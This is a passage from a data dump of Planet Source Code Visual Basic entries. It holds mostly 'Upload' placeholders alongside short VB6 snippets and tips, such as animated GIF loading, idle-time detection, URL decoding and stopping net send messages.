Function\n"},{"WorldId":1,"id":43915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43938,"LineNumber":1,"line":"Planet source code cd visual basic jumbo 2002\n\nSuppport this beautifull site by purchasing the full cd of visual basic 2002 jumbo\nthis cd contain many great usefull source codes as well as many tutorials with graphics,\nfor me i try this cd and purchase it beleive me its very beautifull work by lan ippolito\nWebsite: http://www.exhedra.com/Exhedra/ProductCatalog/Download/PSCCD_2002VB.aspx"},{"WorldId":1,"id":43941,"LineNumber":1,"line":"You'll have to download the zip file from\nhttp://mailster.sf.net/1.0.2src.zip\nSORRY I had to put a link in, PSC keeps timing out accepting upload...The file contains 1 ocx:\nHotbutton.ocx, i didnt write it..."},{"WorldId":1,"id":43942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43963,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43964,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44040,"LineNumber":1,"line":"Please donwload the zip. It have the tutorial in Word and the example for VB.\nIf you found this example or the tutorial think that i worked hard in it for you and please vote me.\nPart II is here: http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=44042&lngWId=1"},{"WorldId":1,"id":44042,"LineNumber":1,"line":"Please donwload the zip. It have the tutorial in Word and the example for VB.\nIf you find this example or the tutorial useful think that i worked hard in it for you and please vote me.\nDownload and vote in the part I at http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=44040&lngWId=1"},{"WorldId":1,"id":44043,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44071,"LineNumber":1,"line":"How to stop net send messages! \n\nHave you ever had a message box pop up on your computer screen, advertising a product or telling you to goto their site ? I have, \nand I found it very annoying. It didn't take me too long to find out how this was happening, and how to stop it; but I think it's \nsomething everyone should know how to do because this method of advertising will just keep getting more popular. While you could \nprobably just turn on a firewall and stop it, there is no need. There are two methods of preventing these annoying messages that I \nknow of, here they are : \nMethod #1 \n1.) Click on your, \"Start\" menu. \n2.) Goto, \"Control Panel\". \n3.) In there you should see an icon for, \"Administrative Tools\" or, \"Computer Management\" depending on what version of Windows \nyou're running; double click it. \n4.) Somewhere in there you should see an icon for, \"Services\", double click it. \n5.) Scroll down and find the service called, \"Messenger\". \n6.) Right click it and goto, \"Properties\". \n7.) In the combo (drop-down) box for, \"Startup Type\" select, \"Manual\". \n8.) Click the button labeled, \"Stop\". Ta-da! \nMethod #2 \n1.) Click on your, \"Start\" menu. \n2.) Goto, \"Run\". \n3.) Type the following without quotations, \"Net Stop Messenger\" (Type \"Net Start Messenger\" to start the service). \n4.) Pat yourself on the back for choosing the quicker method. :) \nOr you can download my very simple utility I created in VB 6.0 to do this all for you : \nhttp://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=44065&lngWId=1 \nSorry if this isn't the most informative tutorial that could be here; but I thought it would come useful to some. Hope it helps! :)"},{"WorldId":1,"id":44072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44079,"LineNumber":1,"line":"' Add a Timer called Timer1\n' Add a image object called Image1\n\n' Add a module (BAS) and paste the following\nOption Explicit\nPublic RepeatTimes As Long 'This one calculates,\n' but don't use in this sample. If You need, You\n' can add simple checking at Timer1_Timer Procedure\nPublic TotalFrames As Long\nPublic Function LoadGif(sFile As String, aImg As Variant) As Boolean\n LoadGif = False\n If Dir$(sFile) = \"\" Or sFile = \"\" Then\n MsgBox \"File \" & sFile & \" not found\", vbCritical\n Exit Function\n End If\n On Error GoTo ErrHandler\n Dim fNum As Integer\n Dim imgHeader As String, fileHeader As String\n Dim buf$, picbuf$\n Dim imgCount As Integer\n Dim i&, j&, xOff&, yOff&, TimeWait&\n Dim GifEnd As String\n GifEnd = Chr(0) & Chr(33) & Chr(249)\n For i = 1 To aImg.Count - 1\n Unload aImg(i)\n Next i\n fNum = FreeFile\n Open sFile For Binary Access Read As fNum\n buf = String(LOF(fNum), Chr(0))\n Get #fNum, , buf 'Get GIF File into buffer\n Close fNum\n \n i = 1\n imgCount = 0\n j = InStr(1, buf, GifEnd) + 1\n fileHeader = Left(buf, j)\n If Left$(fileHeader, 3) <> \"GIF\" Then\n MsgBox \"This file is not a *.gif file\", vbCritical\n Exit Function\n End If\n LoadGif = True\n i = j + 2\n If Len(fileHeader) >= 127 Then\n RepeatTimes& = Asc(Mid(fileHeader, 126, 1)) + (Asc(Mid(fileHeader, 127, 1)) * 256&)\n Else\n RepeatTimes = 0\n End If\n Do ' Split GIF Files at separate pictures\n ' and load them into Image Array\n imgCount = imgCount + 1\n j = InStr(i, buf, GifEnd) + 3\n If j > Len(GifEnd) Then\n fNum = FreeFile\n Open \"temp.gif\" For Binary As fNum\n picbuf = String(Len(fileHeader) + j - i, Chr(0))\n picbuf = fileHeader & Mid(buf, i - 1, j - i)\n Put #fNum, 1, picbuf\n imgHeader = Left(Mid(buf, i - 1, j - i), 16)\n Close fNum\n TimeWait = ((Asc(Mid(imgHeader, 4, 1))) + (Asc(Mid(imgHeader, 5, 1)) * 256&)) * 10&\n If imgCount > 1 Then\n xOff = Asc(Mid(imgHeader, 9, 1)) + (Asc(Mid(imgHeader, 10, 1)) * 256&)\n yOff = Asc(Mid(imgHeader, 11, 1)) + (Asc(Mid(imgHeader, 12, 1)) * 256&)\n Load aImg(imgCount - 1)\n aImg(imgCount - 1).Left = aImg(0).Left + (xOff * Screen.TwipsPerPixelX)\n aImg(imgCount - 1).Top = aImg(0).Top + (yOff * Screen.TwipsPerPixelY)\n End If\n ' Use .Tag Property to save TimeWait interval for separate Image\n aImg(imgCount - 1).Tag = TimeWait\n aImg(imgCount - 1).Picture = LoadPicture(\"temp.gif\")\n Kill (\"temp.gif\")\n i = j\n End If\n DoEvents\n Loop Until j = 3\n' If there are one more Image - Load it\n If i < Len(buf) Then\n fNum = FreeFile\n Open \"temp.gif\" For Binary As fNum\n picbuf = String(Len(fileHeader) + Len(buf) - i, Chr(0))\n picbuf = fileHeader & Mid(buf, i - 1, Len(buf) - i)\n Put #fNum, 1, picbuf\n imgHeader = Left(Mid(buf, i - 1, Len(buf) - i), 16)\n Close fNum\n TimeWait = ((Asc(Mid(imgHeader, 4, 1))) + (Asc(Mid(imgHeader, 5, 1)) * 256)) * 10\n If imgCount > 1 Then\n xOff = Asc(Mid(imgHeader, 9, 1)) + (Asc(Mid(imgHeader, 10, 1)) * 256)\n yOff = Asc(Mid(imgHeader, 11, 1)) + (Asc(Mid(imgHeader, 12, 1)) * 256)\n Load aImg(imgCount - 1)\n aImg(imgCount - 1).Left = aImg(0).Left + (xOff * Screen.TwipsPerPixelX)\n aImg(imgCount - 1).Top = aImg(0).Top + (yOff * Screen.TwipsPerPixelY)\n End If\n aImg(imgCount - 1).Tag = TimeWait\n aImg(imgCount - 1).Picture = LoadPicture(\"temp.gif\")\n Kill (\"temp.gif\")\n End If\n TotalFrames = aImg.Count - 1\n Exit Function\nErrHandler:\n MsgBox \"Error No. \" & Err.Number & \" when reading file\", vbCritical\n LoadGif = False\n On Error GoTo 0\nEnd Function\n'\n'\n'\n'\n'\n'\n'\n'Paste the following in form code\n'\nPrivate Sub Form_Load()\n Timer1.Enabled = False\n If LoadGif(\"C:\\Ball.gif\", Image1) Then\n' Change C:\\Ball gif to your animation\n FrameCount = 0\n Timer1.Interval = CLng(Image1(0).Tag)\n Timer1.Enabled = True\n End If\nEnd Sub\nPrivate Sub Timer1_Timer()\n If FrameCount < TotalFrames Then\n Image1(FrameCount).Visible = False\n FrameCount = FrameCount + 1\n Image1(FrameCount).Visible = True\n Timer1.Interval = CLng(Image1(FrameCount).Tag)\n Else\n FrameCount = 0\n For i = 1 To Image1.Count - 1\n Image1(i).Visible = False\n Next i\n Image1(FrameCount).Visible = True\n Timer1.Interval = CLng(Image1(FrameCount).Tag)\n End If\nEnd Sub\n\n\n"},{"WorldId":1,"id":44083,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44097,"LineNumber":1,"line":"'Declare a byte array to put the sound in\nDim Sound() as Byte\n'Load the binary resource into the byte array\n'101 is the resource identifier of your sound\n'\"CUSTOM\" is the resource type to use (CUSTOM is\n'the default for binary)\n'\n'LoadResData automatically redims the variable\n'so it's the right size\nSound = LoadResData(101, \"CUSTOM\")\n'Play the sound\nCall PlaySoundMem(VarPtr(Sound(0)), 0, SND_NOWAIT Or SND_NODEFAULT Or SND_MEMORY Or SND_ASYNC Or SND_NOSTOP)\n'Clean up memory\n'You wouldn't do this right away if you want to\n'play the sound over and over\nRedim Sound(0)"},{"WorldId":1,"id":44109,"LineNumber":1,"line":"Private Declare Function LockWindowUpdate Lib \"user32\" (ByVal hwndLock As Long) As Long\nFunction ColorRtfString(ByVal SelStart As String, ByVal SelLength As Long, ByVal Color As Long)\nDim OldPos As Long\nCall LockWindowUpdate(RichTextBox.hWnd)\n'Locking Editing (It Ignores Flashing )\nOldPos = RichTextBox.SelStart\nRichTextBox1.SelStart = SelStart\nRichTextBox1.SelLength = SelLength\nRichTextBox1.SelColor = Color\nRichTextBox1.SelStart = OldPos\nRichTextBox1.SelLength = 0\n'Unlocking Editing \nCall LockWindowUpdate(0)\nEnd Function\n"},{"WorldId":1,"id":44120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44151,"LineNumber":1,"line":"'add a listbox (list1) and some values in it!!!!! \n'Thats it!!!\nDim thing1 As String \n'declaring the list item to move\nDim thing2 As String \n' declaring the list item it is replacing\nDim ind As Integer \n'declaring the index of the item you wish to move\nPublic Sub List1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nIf Button = 1 Then 'left mousebutton is down\nthing1 = List1.Text \n'the list item you are moving is set\nind = List1.ListIndex 'the index is set\nEnd If\nEnd Sub\nPrivate Sub List1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nIf thing1 = List1.Text Then Exit Sub \n'to stop the program from continuously doing \n'all the functions\nIf thing1 = \"\" Then Exit Sub \n'to stop the program from continuously doing \n'all the functions\nFor i = 0 To List1.ListCount - 1\nList1.Selected(i) = False\nNext i\nthing2 = List1.Text \n'list item you are replacing is set\nList1.List(ind) = thing2 \n'move the item above/below the item you \n'are moving to its new location\nind = List1.ListIndex \n'set the new list index of the item you are moving\nList1.List(ind) = thing1 \n'put the item you are moving in its new location\nEnd Sub\n"},{"WorldId":1,"id":44154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44169,"LineNumber":1,"line":"Function ExtractString(ByVal strText As String, _\n strFind As String, _\n intAddToLen As Integer, _\n strSentinel As String, _\n TrapErrors As Boolean, _\n intLength As Integer) As String\n \n Dim SStart As Integer\n Dim SEnd As Integer\n \n SStart = InStr(1, strText, strFind) + Len(strFind) + intAddToLen\n If SStart <= Len(strFind) And TrapErrors = True Then\n MsgBox \"\"\"\" & strFind & \"\"\" not found!\", vbCritical, \"Error\"\n Exit Function\n End If\n \n SEnd = InStr(SStart, strText, strSentinel)\n If SEnd <= Len(strFind) And TrapErrors = True Then\n MsgBox \"Sentinel value \"\"\" & strSentinel & \"\"\" not found!\", vbCritical, \"Error\"\n Exit Function\n End If\n \n If intLength > 0 Then\n ExtractString = Mid(strText, SStart, intLength)\n Else\n ExtractString = Mid(strText, SStart, (SEnd - SStart))\n End If\nEnd Function"},{"WorldId":1,"id":44172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44179,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44232,"LineNumber":1,"line":"1. Start Visual Basic. \n2. Then, start a new project. \n3. Next, Add a picturebox control to form and make it flat and the same backcolor as the form backcolor.\n 4. After you have added the picture box you will need to add a textbox and put it in the picture box. (NOTE: NOT OVER IT BUT INSIDE IT) \n5. Make the picturebox control disabled to disable typing in the textbox without graying it out, and make it enabled to type in the text box.\n \nIf you have read this article, then thanks for reading it. \nCarroll Dearstone"},{"WorldId":1,"id":44238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44239,"LineNumber":1,"line":"Public Function NumberOrNoNumber(StrToCheck As String, Numbers As Boolean, Optional NumericTextTarget As TextBox, Optional TextualTextTarget As TextBox)\n'example:\n' txtFilter = NumberOrNoNumber(txtStringIncludingNumbers, False, txtNumber, txtNoNumber)\n' txtFilter = NumberOrNoNumber(txtStringIncludingNumbers, True)\nDim Nstr As String 'targetstring for al numbers\nDim Tstr As String 'targetstring for everything exept numbers\nDim i As Integer\n For i = 1 To Len(StrToCheck)\n If IsNumeric(Mid(StrToCheck, i, 1)) Then Nstr = Nstr & Mid(StrToCheck, i, 1) Else Tstr = Tstr & Mid(StrToCheck, i, 1)\n Next\nIf Numbers Then NumberOrNoNumber = Nstr Else NumberOrNoNumber = Tstr\nOn Error Resume Next\nNumericTextTarget = Nstr 'optional target for the numbers filtered out\nTextualTextTarget = Tstr 'optional target for the text filtered out\nEnd Function"},{"WorldId":1,"id":44254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44266,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44267,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44275,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44297,"LineNumber":1,"line":"Ok, I just have to thank Microsoft for about 20 hours of research but I ran across these three articles in the MSDN that really shed light on a problem I recently ran into.\nI was building a collection of a class in another class and basically wanted to access the information the same way Microsoft does. The simplest example I can think of is the ADODB.Fields relationship compared to the ADODB.Field. ADODB.Fields is really a collection of ADODB.Field.In Building the classes I ran across a very interesting problem in trying to add information to the collection class. Finally I discovered a bug in VB which I thought was undocumented until in a very obscure area of the MSDN. Actually found the solution. I'm referring to 3 examples in the MSDN \"The House of Straw\", The House of Sticks\" and \"The House of Bricks\".\nOnce going thru these three examples it has shed some real light on the subject and the answer to the problem.\nThe House of Straw at:\n\nhttp://MSDN.microsoft.com/library/default.asp?url=/library/en-us/vbcon98/html/vbconpubliccollectionexamplethehouseofstraw.asp\nThe House of Sticks at:\nhttp://MSDN.microsoft.com/library/default.asp?url=/library/en-us/vbcon98/html/vbconprivatecollectionexamplethehouseofsticks.asp\n\nThe House of Bricks at:\nhttp://MSDN.microsoft.com/library/default.asp?url=/library/en-us/vbcon98/html/vbconcreatingyourownclasscollectionthehouseofbricks.asp\n\nMy problem was cured when I entered the -4 in The House of Bricks!\nBeginners and Intermediates please take the time to do the samples. I guarantee you will be amazed. Man, things just when off in my head wishing I new this a long time ago.\nMy big question is why hasn't Microsoft fixed this???\nI hope this helps everyone the way it helped me!"},{"WorldId":1,"id":44300,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44355,"LineNumber":1,"line":"Option Explicit\n'BEFORE YOU BEGIN:\n'- Place timer control on an empty form, name it \"TimerIdle\"\n'- Set the interval on the timer to 1 (one)\n'- Copy this code into the form\n'- Ensure you can see the Immediate Window to see results\n'Note: No error control, insert if you like\n' May encounter problems if computer passes midnight (timer resets)\n'Peter Soluch - 2003\n'Function to get state of keys\nPrivate Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\n'Function to get position of mouse cursor\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\n'The time (in seconds) a computer must be idle before running sub\nPrivate Const IDLESECONDS As Long = 5\n'Type used with GetCursorPos\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Sub TimerIdle_Timer()\n Dim newMousePos As POINTAPI 'Var for values of \"current\" Mouse Position\n \n 'Static variables\n Static oldMousePos As POINTAPI 'Old / Previous values of the mouse position\n Static isIdle As Boolean 'Checks if state is currently idle\n Static wasIdle As Boolean 'Checks if state was \"declared\" idle before\n Static idleStartTime As Single 'When did the idle first start\n Static idleTimeCount As Single 'Idle time counter\n Static idleTimeSecs As Single 'Idle time in seconds\n Static passedOnce As Boolean 'Used for first time timer started\n Dim i As Integer 'Just a counter\n \n 'Check for first pass to set timer\n If passedOnce = False Then\n 'Get what time the timer started\n idleStartTime = Timer\n passedOnce = True\n End If\n \n 'Set that idle is true, check for mouse and keys movements, etc\n 'If there are any then isIdle will become false\n isIdle = True\n \n 'Check API for keypress\n For i = 1 To 256\n 'If pressed state becomes -32767\n If GetAsyncKeyState(i) = -32767 Then\n isIdle = False\n End If\n Next i\n \n 'Get CURRENT position of the mouse cursor\n GetCursorPos newMousePos\n \n 'Compare mouse position with last time (has the mouse moved?)\n If newMousePos.X <> oldMousePos.X Or newMousePos.Y <> oldMousePos.Y Then\n 'Mouse moved, not idle\n isIdle = False 'Not idle\n \n 'Replace old coordinates with new ones to check next time\n oldMousePos.X = newMousePos.X\n oldMousePos.Y = newMousePos.Y\n End If\n \n '1. Check if computer WAS idle and user has come back\n If wasIdle And Not isIdle Then\n 'Run procedure for when computer comes out of idle state\n IdleFinished\n \n 'Reset wasIdle, so procedure does not run again till next idle time\n wasIdle = False\n \n 'Clear timers\n idleTimeSecs = 0\n idleTimeCount = 0\n idleStartTime = Timer\n End If\n \n 'Check for how long has been idle (seconds - i.e. convert to longs)\n If CLng(idleTimeSecs) > CLng(idleTimeCount) Then\n Debug.Print CLng(idleTimeSecs) & \" second(s) have passed on idle\"\n idleTimeCount = idleTimeSecs\n End If\n \n 'Computer was not idle but has become idle after x seconds\n If Not wasIdle And isIdle And idleTimeSecs >= IDLESECONDS Then\n 'Computer becomes idle, set wasIdle to true so can run\n 'procedure after computer comes out of idle state\n wasIdle = True\n 'Run procedure for \"Idle\"\n IdleStarted idleTimeSecs\n End If\n \n 'If idle then update time that has been idle, else reset timers\n If isIdle Then\n idleTimeSecs = Timer - idleStartTime\n Else\n Debug.Print \"User pressed a key or moved the mouse\"\n idleTimeCount = 0\n idleStartTime = Timer\n idleTimeSecs = 0\n End If\nEnd Sub\nPrivate Sub IdleStarted(Optional ByVal numSeconds As Long)\n 'Code when idling starts, i.e. user has gone away for x secs\n Debug.Print \"Computer was declared idle at \" & Now & \" after \" & numSeconds & \" seconds\"\n 'Put your code here\nEnd Sub\nPrivate Sub IdleFinished()\n 'Code when idling stops, i.e. user returns\n Debug.Print \"Computer stopped being IDLE at \" & Now\n \n 'Put your code here\nEnd Sub\n\n"},{"WorldId":1,"id":44356,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44357,"LineNumber":1,"line":"both (TLB)'s in MSVBVM60.DLL exported as text \n& tlb files."},{"WorldId":1,"id":44365,"LineNumber":1,"line":"Public Function URLDecode(sEncodedURL As String) As String\n On Error GoTo Catch\n \n Dim iLoop As Integer\n Dim sRtn As String\n Dim sTmp As String\n \n If Len(sEncodedURL) > 0 Then\n ' Loop through each char\n For iLoop = 1 To Len(sEncodedURL)\n sTmp = Mid(sEncodedURL, iLoop, 1)\n sTmp = Replace(sTmp, \"+\", \" \")\n ' If char is % then get next two chars\n ' and convert from HEX to decimal\n If sTmp = \"%\" and LEN(sEncodedURL) > iLoop + 2 Then\n sTmp = Mid(sEncodedURL, iLoop + 1, 2)\n sTmp = Chr(CDec(\"&H\" & sTmp))\n ' Increment loop by 2\n iLoop = iLoop + 2\n End If\n sRtn = sRtn & sTmp\n Next iLoop\n URLDecode = sRtn\n End If\nFinally:\n Exit Function\nCatch:\n URLDecode = \"\"\n Resume Finally\nEnd Function\n"},{"WorldId":1,"id":44369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44384,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44385,"LineNumber":1,"line":"Sub CloseAll()\nOn Error Resume Next\nDim intFrmNum As Integer\n intFrmNum = Forms.Count\nDo Until intFrmNum = 0\n Unload Forms(intFrmNum - 1)\n intFrmNum = intFrmNum - 1\nLoop\nEnd Sub"},{"WorldId":1,"id":44389,"LineNumber":1,"line":"Private Sub Command1_Click()\nOpen \"C:\\windows\\desktop\\words.txt\" For Output As #1\nRecurse Text1.Text, \"\" ' string so permutate is text1.text\nClose #1\nShell \"C:\\windows\\notepad.exe C:\\windows\\desktop\\words.txt\", vbNormalFocus\nEnd Sub\nPrivate Sub Recurse(ByVal Letters As String, ByVal Built As String)\nDim I As Integer\nIf Len(Letters) = 1 Then\nPrint #1, Built & Letters\nExit Sub\nEnd If\nFor I = 1 To Len(Letters)\nRecurse Mid(Letters, 1, I - 1) & Mid(Letters, I + 1), Built & Mid(Letters, I, 1)\nNext I\nEnd Sub"},{"WorldId":1,"id":44395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44407,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44408,"LineNumber":1,"line":"Option Explicit\n'+++++++++++++++++++++++++++++++++++++\n' First Style\n' Use private procedure in Form\n'+++++++++++++++++++++++++++++++++++++\nPrivate Sub Form_Activate()\n UnloadOthers\nEnd Sub\nPrivate Sub UnloadOthers()\n Dim frm As Form\n For Each frm In Forms\n If frm.Name <> Me.Name And Not (TypeOf frm Is MDIForm) Then\n Unload frm\n End If\n Next\nEnd Sub\n'+++++++++++++++++++++++++++++++++++++\n' Second Style\n' Use Public Procedure in Module\n'+++++++++++++++++++++++++++++++++++++\n'Form Code\nPrivate Sub Form_Activate()\n UnloadOthers me.Name\nEnd Sub\n'Module Code\nPublic Sub UnloadOthers(frmName as string)\n Dim frm As Form\n For Each frm In Forms\n If frm.Name <> frmName And Not (TypeOf frm Is MDIForm) Then\n Unload frm\n End If\n Next\nEnd Sub\n"},{"WorldId":1,"id":44409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44439,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44448,"LineNumber":1,"line":"' Let say you have two forms in your project, i.e. form1.frm and form2.frm. Now you want to open form2.frm from form1, but want your form2 to stay on top of form1 and also want to access the menu of form1 without causing the form2 to go behind. Here is the simple solution...\n=========================================\n\nPrivate Sub Command1_Click()\n Form2.Show vbModeless, Form1\nEnd Sub\n=========================================\nI hope it will help you in your projects..."},{"WorldId":1,"id":44449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44477,"LineNumber":1,"line":"Public Function TimeStamp() As String\n Dim StartDate As String\n Dim EndTime As String\n Dim StartTime As String\n Dim EndDate As String\n Dim dblStart As Double\n Dim dblEnd As Double\n Dim DateTimeStart As Date\n Dim DateTimeEnd As Date\n Dim TotalHrs As String\n StartDate = \"1/1/1970\"\n StartTime = \"00:00:00\"\n EndDate = CStr(Date)\n EndTime = CStr(Time)\n DateTimeStart = FormatDateTime(StartDate & \" \" & StartTime)\n DateTimeEnd = FormatDateTime(EndDate & \" \" & EndTime)\n TimeStamp = DateDiff(\"s\", DateTimeStart, DateTimeEnd, vbUseSystemDayOfWeek, _\n vbUseSystem)\nEnd Function\n"},{"WorldId":1,"id":44492,"LineNumber":1,"line":"Foreword \nThe API programming series is a set of articles dealing with a common theme: API \nprogramming in Visual Basic. Though there are no hard and fast rules regarding \nthe content of these articles, generally one article can be expected to contain \nissues related to API programming, explanation of one or more API calls with \ngenerously commented code snippets or bug reports. Depending on the subject, \nthese code samples may expand to become a full-fledged 